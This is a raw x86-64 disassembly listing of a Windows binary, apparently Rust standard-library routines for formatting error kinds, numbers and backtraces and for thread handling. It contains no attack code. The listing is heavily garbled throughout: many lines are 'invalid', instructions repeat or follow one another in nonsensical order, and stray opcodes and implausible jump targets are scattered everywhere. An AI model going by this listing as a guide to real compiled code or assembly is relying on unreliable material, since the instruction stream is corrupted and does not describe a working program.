mov byte [rbp - 0x17], 0
invalid
call 0x140f6a6d9
add byte [rbp + rcx*4 + 0x4f], cl
adc byte [rax - 0x73], cl
add eax, 0x7320a
invalid
invalid
lea r9, [rdi + 0x10]
lea rax, [0x140149328]
invalid
invalid
invalid
mov qword [rsp + 0x20], rax
lea rdx, str.kind
lea rsi, [rbp - 0x20]
jne case.0x1400d60ee.311
mov r8d, 4
add al, 0
add byte [rax], al
div byte [rcx]
invalid
mov rcx, rsi
call fcn.140014730
hlt
in eax, 0xf3
invalid
hlt
lea rax, [0x140149370]
add eax, 0x7322d
xor al, byte [rdi]
add byte [rax - 0x77], cl
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
lea rdx, str.message
mov r8d, 7
mov eax, 7
retf 9
mov eax, 7
add byte [rax - 0x77], cl
int1
mov rcx, rsi
mov ecx, esi
mov r9, rdi
call fcn.140014730
shl ch, 1
invalid
invalid
shl ch, 1
inc dword [rax + 0xf00e97d]
cmp byte [rbp - 0x17], 0
movzx ecx, byte [rbp - 0x18]
invalid
invalid
invalid
invalid
cmp byte [rbp - 0x17], 0
jmp 0x18dc37067
movzx ecx, byte [rbp - 0x18]
je 0x1400d637b
add byte [rax], al
mov al, 1
test cl, cl
jne 0x1400d653b
ret
add eax, dword [rax]
invalid
test ebx, eax
add eax, dword [rax]
add byte [rax - 0x75], cl
invalid
invalid
ret
mov rax, qword [rbp - 0x20]
loopne 0x1400d6173
test byte [rax + 0x34], 4
xor al, 4
jne 0x1400d635e
fadd dword [rcx]
add byte [rax], al
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
invalid
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
lea rdx, [0x140144289]
adc eax, 0x6e0f4
invalid
add byte [rcx - 0x48], al
add al, byte [rax]
add byte [rax], al
invalid
mov r8d, 2
add byte [rax], al
add bh, bh
call qword [rax + 0x18]
jmp 0x1400d653b
add eax, dword [rax]
invalid
push rax
sbb cl, ch
cwde
add eax, dword [rax]
add byte [rax - 0x3f], cl
invalid
invalid
out dx, eax
shr rdi, 0x20
shr edi, 0x20
and byte [rcx - 0x74b72383], cl
and byte [rax - 0x75], r9b
sub byte [rax - 0x73], r9b
adc eax, 0x73144
invalid
mov dword [rbp - 0x24], edi
jge 0x1400d6186
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1401492fd]
invalid
add byte [rcx - 0x48], al
add al, byte [rax]
add byte [rax], al
invalid
mov r8d, 2
add byte [rax], al
add bh, bh
call qword [rax + 0x18]
mov qword [rbp - 0x38], rsi
jne 0x1400d618e
push rax
sbb byte [rax - 0x77], cl
jne 0x1400d618e
mov byte [rbp - 0x30], al
mov byte [rbp - 0x2f], 0
invalid
rol dh, 1
rol dword [r8], 1
invalid
add byte [rax - 0x73], cl
add eax, 0x7312c
sub al, 0x31
invalid
invalid
lea rax, [0x140149300]
sub al, 0x31
invalid
mov qword [rsp + 0x20], rax
lea rdx, [0x140172b4a]
push 0xffffffffffffffc9
or dword [rax], eax
and byte [rax - 0x73], cl
adc eax, 0x9c96a
push 0xffffffffffffffc9
or dword [rax], eax
push 0xffffffffffffffc9
or dword [rax], eax
lea rsi, [rbp - 0x38]
lea r9, [rbp - 0x24]
mov r8d, 4
add byte [rax], al
mov rcx, rsi
int1
call fcn.140014730
mov ecx, dword [rbp - 0x24]
fsub st(0), st(0)
xchg edx, eax
add eax, dword [rax]
invalid
dec dword [rbx - 0x6d1723b3]
fsub st(0), st(0)
xchg edx, eax
add eax, dword [rax]
add byte [rax - 0x72b700bb], cl
lea rax, [0x140149328]
add byte [rax], al
mov byte [rbp - 1], al
lea rax, [0x140149328]
and byte [rcx], dh
invalid
mov qword [rsp + 0x20], rax
and byte [rax - 0x73], cl
lea rdx, str.kind
adc eax, 0x7310c
or al, 0x31
invalid
lea r9, [rbp - 1]
mov r8d, 4
add byte [rax], al
mov rcx, rsi
call fcn.140014730
mov edx, dword [rbp - 0x24]
fmul qword [rax - 0x73]
jge 0x1400d620d
dec dword [rbx - 0x72b723ab]
jge 0x1400d620d
mov rcx, rdi
call fcn.1400d6750
add eax, 0x8d480000
add eax, 0x7310c
or al, 0x31
xor dword [rdi], eax
invalid
mov qword [rsp + 0x20], rax
lea rdx, str.message
mov r8d, 7
mov rcx, rsi
mov r9, rdi
call fcn.140014730
xlatb
in al, 0xf3
invalid
in al, 0xf3
inc dword [rax + 0xf00d17d]
cmp byte [rbp - 0x2f], 0
movzx ecx, byte [rbp - 0x30]
je 0x1400d6382
mov al, 1
test cl, cl
invalid
test dword [rdx], edi
invalid
cmp byte [rbp - 0x2f], 0
movzx ecx, byte [rbp - 0x30]
je 0x1400d6382
mov al, 1
test cl, cl
jne 0x1400d63ab
cmp al, byte [rcx]
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x75], cl
enter 0x40f6, 0x34
test byte [rax + 0x34], 4
invalid
test dword [rcx + rax], edx
mov rax, qword [rbp - 0x38]
test byte [rax + 0x34], 4
jne 0x1400d6393
add byte [rax], al
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0x6dffb
invalid
mov r8d, 2
call qword [rax + 0x18]
jmp 0x1400d63ab
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x3f], cl
out dx, eax
and byte [rbx - 0x78f0d701], al
jmp [rax]
invalid
invalid
shr rdi, 0x20
cmp edi, 0x28
ja case.0x1400d60ee.17
pushfq
add dword [rax], eax
invalid
pushfq
add dword [rax], eax
add byte [rax - 0x73], cl
lea rax, [0x140178444]
lea rax, [0x140178444]
xchg esp, eax
and dword [rdx], ecx
add byte [rax + 0x63], cl
movsxd rcx, dword [rax + rdi*4]
movsxd rcx, dword [rax + rdi*4]
add rcx, rax
jmp rcx
loope 0x1400d62eb
xor eax, eax
jmp 0x1400d648f
iretd
add dword [rax], eax
invalid
iretd
lea rax, [rdi - 1]
add rdi, 0xf
mov qword [rbp - 0x38], rax
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.Customerror
mov r8d, 6
add bh, bh
push rax
invalid
add bh, bh
push rax
sbb byte [rax - 0x77], cl
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x20], rsi
loopne 0x1400d6271
mov byte [rbp - 0x18], al
mov byte [rbp - 0x17], 0
invalid
invalid
invalid
call 0x140f6a8b5
jmp 0x1459aaaf2
lea rax, [0x140149328]
lea eax, [0x140149328]
invalid
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
and al, 0x20
lea rdx, str.kind
lea edx, str.kind
lea rsi, [rbp - 0x20]
mov r8d, 4
mov rcx, rsi
mov r9, rdi
call fcn.140014730
lea rax, [0x1401493a0]
mov qword [rsp + 0x20], rax
lea rdx, [0x140149396]
lea r9, [rbp - 0x38]
mov r8d, 5
mov rcx, rsi
call fcn.140014730
cmp byte [rbp - 0x17], 0
add byte [rdi], cl
mov dh, 0x4d
invalid
je 0x1400d637b
add byte [rdi], cl
mov dh, 0x4d
call 0x141bd98bc
mov al, 1
test cl, cl
jne 0x1400d653b
mov rax, qword [rbp - 0x20]
test byte [rax + 0x34], 4
je 0x1400d6186
invalid
invalid
invalid
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140149c0b]
mov r8d, 1
add byte [rax], al
add bh, bh
push rax
sbb cl, ch
rol byte [rcx], 0
invalid
test cl, cl
leave
jmp 0x1400d6538
test cl, cl
setne al
ror byte [rax - 0x7d], 0x7d
loopne 0x1400d638c
ror byte [rax - 0x7d], 0x7d
loopne 0x1400d638c
jne 0x1400d63b9
jmp 0x1400d653b
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140149c0b]
mov r8d, 1
call qword [rax + 0x18]
mov byte [rbp - 0x30], al
cmp qword [rbp - 0x20], 0
je 0x1400d653b
invalid
add dword [rax], eax
invalid
invalid
mov r8, qword [rbp - 0x18]
mov rcx, qword [0x140182260]
add byte [rcx], dh
invalid
call 0xdc1aef09
mov esi, 0xd231000a
add byte [rcx], dh
invalid
add byte [rcx], dh
ror byte [rcx - 0x6dea003d], cl
mov ebx, eax
call qword [sym.imp.kernel32.dll_HeapFree]
xchg edx, eax
invalid
add eax, dword [rax]
xchg edx, eax
mov edi, 0xd8890003
add eax, dword [rax]
mov eax, ebx
jmp 0x1400d653b
add word [rax], ax
add byte [rax + 0xb3e925], dh
mov al, 0x25
invalid
mov bl, 0
add byte [rax], al
mov al, 0x25
jmp 0x1400d648f
mov bl, 0
add byte [rax], al
mov bl, 0
add byte [rax], al
mov al, 0x23
jmp 0x1400d648f
lodsb al, byte [rsi]
add byte [rax], al
add byte [rax], al
lodsb al, byte [rsi]
add byte [rax], al
add byte [rax], al
mov al, 0x24
invalid
movsd dword [rdi], dword [rsi]
invalid
add byte [rax], al
mov al, 0x24
jmp 0x1400d648f
movsd dword [rdi], dword [rsi]
add byte [rax], al
add byte [rax], al
movsd dword [rdi], dword [rsi]
add byte [rax], al
add byte [rax], al
mov al, 0x1b
invalid
sahf
invalid
add byte [rax], al
mov al, 0x1b
jmp 0x1400d648f
sahf
add byte [rax], al
add byte [rax], al
sahf
add byte [rax], al
add byte [rax], al
mov al, 0x22
invalid
xchg edi, eax
invalid
add byte [rax], al
mov al, 0x22
jmp 0x1400d648f
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0x90e910], dh
mov al, 0x10
invalid
nop
invalid
add byte [rax], al
mov al, 0x10
jmp 0x1400d648f
add byte [rax], al
adc cl, ch
nop
add byte [rax], al
add byte [rax], al
mov al, 0xe
jmp 0x1400d648f
add byte [rax], al
mov al, 0xe
jmp 0x1400d648f
add byte [rax + 0x82e921], dh
add byte [rax], al
mov al, 0x21
jmp 0x1400d648f
invalid
add byte [rax], al
invalid
invalid
mov al, 0xb
jmp 0x1400d648f
mov al, 4
jmp 0x1400d648f
mov al, 0x28
jmp 0x1400d648f
mov al, 0xc
jmp 0x1400d648f
mov al, 9
jmp 0x1400d648f
mov al, 0x19
jmp 0x1400d648f
mov al, 0x18
jmp 0x1400d648f
mov al, 2
jmp 0x1400d648f
mov al, 0xf
jmp 0x1400d648f
mov al, 3
jmp 0x1400d648f
mov al, 7
jmp 0x1400d648f
mov al, 1
jmp 0x1400d648f
mov al, 0x1f
jmp 0x1400d648f
mov al, 0x11
jmp 0x1400d648f
mov al, 0x29
jmp 0x1400d648f
mov al, 0x14
jmp 0x1400d648f
mov al, 5
jmp 0x1400d648f
mov al, 0x15
jmp 0x1400d648f
mov al, 0xd
jmp 0x1400d648f
mov al, 6
jmp 0x1400d648f
mov al, 0x12
jmp 0x1400d648f
invalid
mov al, 0xa
jmp 0x1400d648f
mov al, 8
jmp 0x1400d648f
mov al, 0x1e
jmp 0x1400d648f
mov al, 0x20
jmp 0x1400d648f
mov al, 0x16
jmp 0x1400d648f
mov al, 0x27
jmp 0x1400d648f
invalid
mov al, 0x13
jmp 0x1400d648f
invalid
mov al, 0x17
jmp 0x1400d648f
invalid
mov al, 0x1c
jmp 0x1400d648f
invalid
mov al, 0x1d
jmp 0x1400d648f
invalid
mov al, 0x26
jmp 0x1400d648f
mov al, 0x1a
mov byte [rbp - 0x38], al
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.Kind
mov r8d, 4
call qword [rax + 0x18]
mov qword [rbp - 0x18], rsi
jne 0x1400d6496
mov byte [rbp - 0x10], al
mov qword [rbp - 0x20], 0
loopne 0x1400d64b6
add byte [rax], al
add dh, al
int1
add byte [rbp + rcx*4 + 5], cl
invalid
invalid
invalid
invalid
lea rcx, [rbp - 0x20]
lea rdx, [rbp - 0x38]
call fcn.140016790
mov rcx, qword [rbp - 0x20]
movzx edx, byte [rbp - 0x10]
test rcx, rcx
je case.0x1400d60ee.45
mov al, 1
test dl, dl
jne case.0x1400d60ee.48
mov rsi, qword [rbp - 0x18]
cmp rcx, 1
jne 0x1400d651a
cmp byte [rbp - 0xf], 0
je 0x1400d651a
test byte [rsi + 0x34], 4
jne 0x1400d651a
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x140143ec0]
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne case.0x1400d60ee.48
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014d458]
mov r8d, 1
call qword [rax + 0x18]
jmp case.0x1400d60ee.48
mov eax, edx
test al, al
setne al
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop rbp
ret
adc eax, 0xf000017
invalid
test byte [rbx], al
add dword [rax], eax
add byte [rcx + 0x476f9], al
add byte [rbp + 0x65], dh
invalid
mov al, 0x20
pop rbp
ret
je case.0x1400d65e6.121
jmp case.0x1400d65e6.4
cmp ecx, 0x3e3
je case.0x1400d65e6.121
cmp ecx, 0x41d
je case.0x1400d65e6.121
cmp ecx, 0x461
je case.0x1400d65e6.121
jmp case.0x1400d65e6.4
mov al, 0x28
pop rbp
ret
mov al, 0x16
pop rbp
ret
sar bh, cl
adc eax, 0x3b991
invalid
add byte [rax - 0x73], cl
test dword [rax + rdx], ebx
add byte [rax], al
lea rax, [rbp + 0x101c]
mov qword [rbp + 0xfb8], rax
lea rax, [0x140019a90]
hlt
dec dword [rax - 0x77]
test eax, eax
sldt word [rax]
add byte [rax], al
hlt
add byte [rax], al
lea rax, str.OS_Error___FormatMessageW___returned_error
mov qword [rbp + 0xfe8], rax
mov qword [rbp + 0xff0], 2
sldt word [rax]
add al, byte [rax]
add byte [rax], al
sldt word [rax]
add al, byte [rax]
add byte [rax], al
mov qword [rbp + 0x1008], 0
lea rax, [rbp + 0xfb8]
mov qword [rbp + 0xff8], rax
add byte [rax - 0x39], cl
test dword [rax], eax
adc byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
add byte [rax - 0x39], cl
test dword [rax], eax
adc byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
xchg ebp, eax
call 0x1880d6a3f
mov ecx, esi
lea rdx, [rbp + 0xfe8]
mov rcx, rsi
call fcn.140011100
nop
add rsp, 0x10a8
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
test r9b, r9b
je 0x1400d6b7b
nop word cs:[rax + rax]
cmp r8, rbx
je 0x1400d6b69
mov rax, r8
mov eax, eax
movzx r9d, byte [r8 - 1]
test r9b, r9b
inc dword [rbp - 0x7c]
leave
js 0x1400d6a90
lea r8, [rax - 1]
movzx r9d, r9b
jmp 0x1400d6af2
movzx r10d, byte [rax - 2]
cmp r10b, 0xc0
jge 0x1400d6abd
invalid
inc byte [rcx - 0x80]
cli
sar byte [rbp + 0x22], 0x44
and al, byte [rdi + rcx - 0x4a]
pop rax
std
and al, byte [rdi + rcx - 0x4a]
pop rax
std
movzx r11d, byte [rax - 3]
cmp r11b, 0xbf
cmp bl, 0xbf
jg 0x1400d6ac7
lea r8, [rax - 4]
movzx edi, byte [rax - 4]
and edi, 7
out 7, eax
out 7, eax
shl edi, 6
and r11d, 0x3f
and ebx, 0x3f
and ebx, 0x3f
or r11d, edi
jmp 0x1400d6acf
lea r8, [rax - 2]
and r10d, 0x1f
jmp 0x1400d6ada
invalid
adc ecx, dword [rbp + rcx*4 + 0x40]
std
lea r8, [rax - 3]
and r11d, 0xf
shl r11d, 6
and r10d, 0x3f
and edx, 0x3f
and edx, 0x3f
or r10d, r11d
shl r10d, 6
and r9b, 0x3f
movzx r9d, r9b
or r9d, r10d
cmp r9d, 0x110000
je 0x1400d6b69
lea r10d, [r9 - 9]
cmp r10d, 5
jb 0x1400d6a70
cmp r9d, 0x20
je 0x1400d6a70
sete r9b
jmp 0x1400d6a58
invalid
invalid
invalid
invalid
cmp ecx, 0x3000
sete r9b
sete cl
sete cl
jmp 0x1400d6a58
invalid
xor eax, eax
mov qword [rsi], r14
mov qword [rsi + 8], rbx
pop rsi
or byte [rax - 0x77], cl
adc cl, r13b
jmp 0x1400d6a37
sub rax, rbx
cmp rcx, rax
jae 0x1400d6b88
mov rax, rcx
jmp 0x1400d6b6b
test rax, rax
je 0x1400d6b6b
cmp rcx, rax
jbe 0x1400d6b6b
invalid
cmp byte [rbx + rax], 0xbf
jg 0x1400d6b6b
sldt word [rax]
add byte [rsi + rdx + 0x4c], dh
mov r8, qword [rbp + 0xff0]
mov r8, qword [rbp + 0xff0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
add eax, dword [rax]
add eax, dword [rax]
nop
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
mov dword [rsp + 0x10], edx
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
add byte [rax - 0x7d], cl
mov ebp, 0xfd8
invalid
je 0x1400d6c78
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, qword [rbp + 0xfe0]
loopne 0x1400d6c7f
add byte [rax], al
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
and byte [rbx + rcx*4 + 0x4a], cl
sub byte [rax - 0x77], cl
mov ecx, eax
mov rdx, r10
pop rbp
mov ecx, eax
mov rdx, r10
pop rbp
jmp fcn.140017290
lea ecx, [0x14014b390]
mov r8, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
lea rcx, [0x14014b4d8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
ret 0x495d
jmp r9
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
ret 0x495d
invalid
int3
xor al, 0xa8
adc byte [rdi], cl
test edx, ebx
fiadd dword [rax]
add byte [rax], al
test al, 0x20
jne 0x1400d6e59
mov r10, rdx
mov r8d, dword [rcx]
mov ecx, r8d
sal edi, 0xd9
fiadd dword [rax]
add byte [rax], al
test al, 0x20
jne 0x1400d6e59
sal edi, 0xd9
cmovs ecx, r8d
mov eax, 0x27
lea r9, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_m
cmp ecx, 0x2710
jb 0x1400d6ee5
mov byte [rcx], al
add byte [rax], al
mov byte [rcx], al
add byte [rax], al
mov esi, 0x27
movabs r11, 0x346dc5d63886594b
nop dword [rax]
mov rax, rcx
mul r11
shr rdx, 0xb
invalid
or ebp, dword [rcx - 0x3e]
adc byte [rdi], ah
add byte [rax], al
mov edi, ecx
sub edi, eax
imul ebx, edi, 0x147b
shr ebx, 0x13
imul eax, ebx, 0x64
sub edi, eax
movzx edi, di
lea rax, [rsi - 4]
movzx ebx, word [r9 + rbx*2]
mov word [rbp + rsi - 0x4c], bx
movzx edi, word [r9 + rdi*2]
mov word [rbp + rsi - 0x4a], di
mov rsi, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
ja 0x1400d6d70
invalid
sub edx, ebx
movzx edx, dx
movzx edx, word [r9 + rdx*2]
movzx edx, word [rcx + rdx*2]
movzx edx, word [rcx + rdx*2]
mov word [rbp + rax - 0x4a], dx
add rax, 0xfffffffffffffffe
mov rdx, rcx
mov rcx, r10
cmp rdx, 0xa
cmp edx, 0xa
cmp edx, 0xa
jae 0x1400d6ef7
add byte [rax], al
or dl, 0x30
mov byte [rbp + rax - 0x49], dl
dec rax
jmp 0x1400d6f05
mov ecx, 0x81
mov r8d, eax
nop word cs:[rax + rax]
mov rcx, r9
leave
leave
shr r8d, 4
mov r9d, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x57]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rbp + rcx - 0x4a], r10b
lea r9, [rcx - 1]
cmp eax, 0x10
mov eax, r8d
jae 0x1400d6e20
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
mov rdi, qword [rax + 0xc0]
lock inc qword [rdi]
jle 0x1400d7249
test rdi, rdi
test edi, edi
je 0x1400d7231
lock dec byte [rdi + 0x30]
je 0x1400d720d
lea r14, [rdi + 0x30]
mov ecx, 0x3e8
add byte [rax - 0x77], cl
fmul dword [rax - 9]
loope 0x1400d71fb
mov ecx, 0xffffffff
jo 0x1400d71f2
mov ecx, esi
imul rcx, rcx, 0x431bde83
shr rcx, 0x32
add rax, rcx
jb 0x1400d71f2
imul ecx, ecx, 0xf4240
xor edx, edx
sub esi, ecx
setne dl
add rax, rdx
jb 0x1400d71f2
mov r9d, 0xffffffff
cmp rax, r9
cmovb r9, rax
lea rdx, [0x14014aaa8]
mov r8d, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WaitOnAddress]
xor eax, eax
xchg byte [r14], al
lock dec qword [rdi]
jne 0x1400d7225
mov rcx, rdi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
jmp fcn.1400d4b70
nop
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
lea rcx, str.use_of_std::thread::current___is_not_possible_after_the_threads_local_data_has_been_destroyed
lea r8, [0x140148d60]
mov edx, 0x5e
call fcn.1401086b0
invalid
ud2
mov rcx, r14
mov rdx, rdi
mov edx, edi
mov edx, edi
mov r8, rbx
call fcn.140014520
cmp qword [rbp + 8], 0
je 0x1400d74a2
mov r12, qword [rbp + 0x10]
movzx r15d, byte [rbp + 0x18]
movzx r13d, byte [rbp + 0x19]
mov r8d, 3
mov rcx, rsi
lea rdx, [0x140149c48]
call fcn.140013870
test al, al
jne 0x1400d74b6
test r15b, 1
je 0x1400d74ba
add r12, r13
cmp rbx, r12
jb 0x1400d74d0
add rdi, r12
sub rbx, r12
jne 0x1400d72b0
jmp 0x1400d74ba
mov al, 1
test cl, cl
je 0x1400d7493
invalid
add byte [rax], al
invalid
invalid
jmp 0x1400d74bc
mov qword [rbp - 0x48], rax
mov qword [rbp + 8], 2
or byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
sbb byte [r10], r8b
add byte [rax], al
add byte [rax - 0x39], cl
sub byte [r8], r8b
add byte [rax], al
add byte [rax - 0x48], cl
and byte [rax], al
add byte [rax], al
add al, 0
add byte [rax], al
or byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
sbb byte [r10], r8b
add byte [rax], al
add byte [rax - 0x39], cl
sub byte [r8], r8b
add byte [rax], al
add byte [rax - 0x48], cl
and byte [rax], al
add byte [rax], al
add al, 0
add byte [rax], al
mov qword [rbp + 0x30], rax
mov byte [rbp + 0x38], 3
lea rax, [0x140172b18]
mov bh, 9
add byte [rax - 0x77], cl
ror byte [r8 - 0x39], 0x45
enter 1, 0
add byte [rax - 0x73], cl
or byte [r8 - 0x77], r9b
loopne 0x1400d7470
mov dword [rbp - 0x18], 1
mov bh, 9
add byte [rax - 0x77], cl
ror byte [r8 - 0x39], 0x45
enter 1, 0
add byte [rax - 0x73], cl
or byte [r8 - 0x77], r9b
loopne 0x1400d7470
mov dword [rbp - 0x18], 1
lea rax, [rbp - 0x50]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
lea rdx, [0x140143cd0]
lea rcx, [rbp - 0x10]
lea r8, [rbp - 0x40]
call fcn.140013bb0
mov rcx, qword [rbp - 0x10]
test al, al
add byte [rax - 0x73], cl
invalid
je case.0x140096f06.834
test rcx, rcx
je case.0x140096f06.834
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.size_limit_reached_fmt::Error__from__SizeLimitedFmtAdapter__was_discarded
mov r8d, 0x14
invalid
mov eax, 0x14
add bh, bh
push rax
sbb byte [rax + rax*8 + 0x38eb0b74], al
jmp 0x1400d74b6
call qword [rax + 0x18]
test al, al
je 0x1400d7487
jmp 0x1400d74b6
test al, al
jne 0x1400d74b6
test rcx, rcx
jne 0x1400d74e2
mov rbx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rsi, qword [rax + 0x18]
mov rdx, qword [rdi + 0x30]
mov r8, qword [rdi + 0x38]
mov rcx, rbx
fcos
invalid
jmp 0x1400d74bc
xor byte [rbx + rcx*4 + 0x47], cl
cmp byte [rax - 0x77], cl
fcos
invalid
mov rdx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x18]
mov rcx, rsi
call fcn.140013870
invalid
test al, al
je 0x1400d74ba
inc dword [rax + rax*8 + 0x1b00474]
mov al, 1
jmp 0x1400d74bc
xor eax, eax
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, str.library_std_src...._backtrace_src_symbolizemod.rs
mov rcx, r12
mov rdx, rbx
call fcn.1401082c0
lea rax, [0x140144360]
mov qword [rsp + 0x20], rax
lea rcx, [0x140144324]
invalid
add byte [rbp + rcx*4 + 0xd], cl
cld
mov byte [rsi], 0
lea r8, [rbp + 8]
lea eax, [rbp + 8]
invalid
lea eax, [rbp + 8]
mov edx, 0x37
call fcn.140108600
int3
push r15
push r14
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x1a8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x120], 0xfffffffffffffffe
mov dword [rbp + 0x120], 0xfffffffe
mov dword [rbp + 0x120], 0xfffffffe
mov rbx, r9
mov r14d, r8d
mov rax, rdx
mov qword [rbp + 0xf0], rcx
cmp qword [rdx], 0
mov rdx, qword [rdx + 8]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x80]
je 0x1400d7595
call fcn.1400d7cd0
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xf8], rax
add byte [rax], al
mov rax, qword [rbp + 0x88]
add byte [rax], al
add byte [rax - 0x77], cl
test dword [rax], edx
add dword [rax], eax
add byte [rax - 0x75], cl
test dword [rax + 0x48000000], edx
mov dword [rbp + 0x118], eax
sbb byte [rcx], al
add byte [rax], al
test r14b, r14b
jne 0x1400d79c3
jmp 0x1400d75e6
call fcn.140014520
cmp qword [rbp + 0x80], 0
add byte [rax - 0x73], cl
add eax, 0x725f0
cmove rax, qword [rbp + 0x88]
mov qword [rbp + 0x110], rax
mov eax, 9
cmove rax, qword [rbp + 0x90]
mov qword [rbp + 0x118], rax
test dword [rax], ebx
add dword [rax], eax
add byte [rax - 0x48], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77a76b8], al
add byte [rax], al
add byte [rbp - 0x7c], al
test byte [rdi], 0x85
fld qword [rbx]
add eax, dword [rax]
add byte [rax], al
test dword [rax], ebx
add dword [rax], eax
add byte [rax - 0x48], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77a76b8], al
add byte [rax], al
add byte [rbp - 0x7c], al
test byte [rdi], 0x85
fld qword [rbx]
invalid
add byte [rax], al
mov rcx, qword [rbp + 0x110]
mov rdx, qword [rbp + 0x118]
call fcn.1400d8050
test rbx, rbx
sete cl
xor al, 1
or al, cl
jne 0x1400d79c3
invalid
add byte [rbx + rcx*4 + 0x73], cl
or byte [rax - 0x75], cl
mov ebx, dword [rbx + 0x10]
lea rcx, [rbp + 0x80]
mov rdx, qword [rbp + 0x110]
adc byte [rcx], al
add byte [rax], al
mov r14, qword [rbx + 8]
mov rbx, qword [rbx + 0x10]
mov ebx, dword [rbx + 0x10]
mov ebx, dword [rbx + 0x10]
lea rcx, [rbp + 0x80]
mov rdx, qword [rbp + 0x110]
adc byte [rcx], al
add byte [rax], al
adc byte [rcx], al
add byte [rax], al
mov r8, qword [rbp + 0x118]
sbb byte [rcx], al
add byte [rax], al
call fcn.1400d8190
add byte [rax], al
movzx r13d, byte [rbp + 0x80]
mov rcx, qword [rbp + 0x90]
mov rax, qword [rbp + 0xa0]
movabs al, byte [0x4cd5b60f41000000]
lea eax, [0x1401789e4]
movabs al, byte [0x4cd5b60f41000000]
lea eax, [0x1401789e4]
movsxd r9, dword [r8 + rdx*4]
add r9, r8
mov rdx, qword [rbp + 0x118]
mov edx, dword [rbp + 0x118]
mov edx, dword [rbp + 0x118]
mov r8, qword [rbp + 0x110]
jmp r9
add rcx, 4
jmp 0x1400d769e
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
jmp 0x1400d769e
mov ecx, 6
jmp 0x1400d769e
invalid
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp 0x1400d769e
mov ecx, 2
add byte [rax - 0x75], cl
xchg ebp, eax
sbb byte [rcx], al
add byte [rax], al
invalid
mov rdx, qword [rbp + 0x118]
add byte [rax + 0x29], cl
retf 0x820f
sub rdx, rcx
jb 0x1400d7c1b
add rcx, qword [rbp + 0x110]
mov r8, rcx
test rdx, rdx
je 0x1400d76d1
movzx eax, byte [r8]
cmp al, 0x2f
invalid
sete cl
cmp al, 0x5c
sete sil
invalid
or sil, cl
jmp 0x1400d76d3
xor esi, esi
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x6f], rax
outsd dx, dword [rsi]
outsd dx, dword [rsi]
movups xmm0, xmmword [rbp + 0x81]
movups xmm1, xmmword [rbp + 0x91]
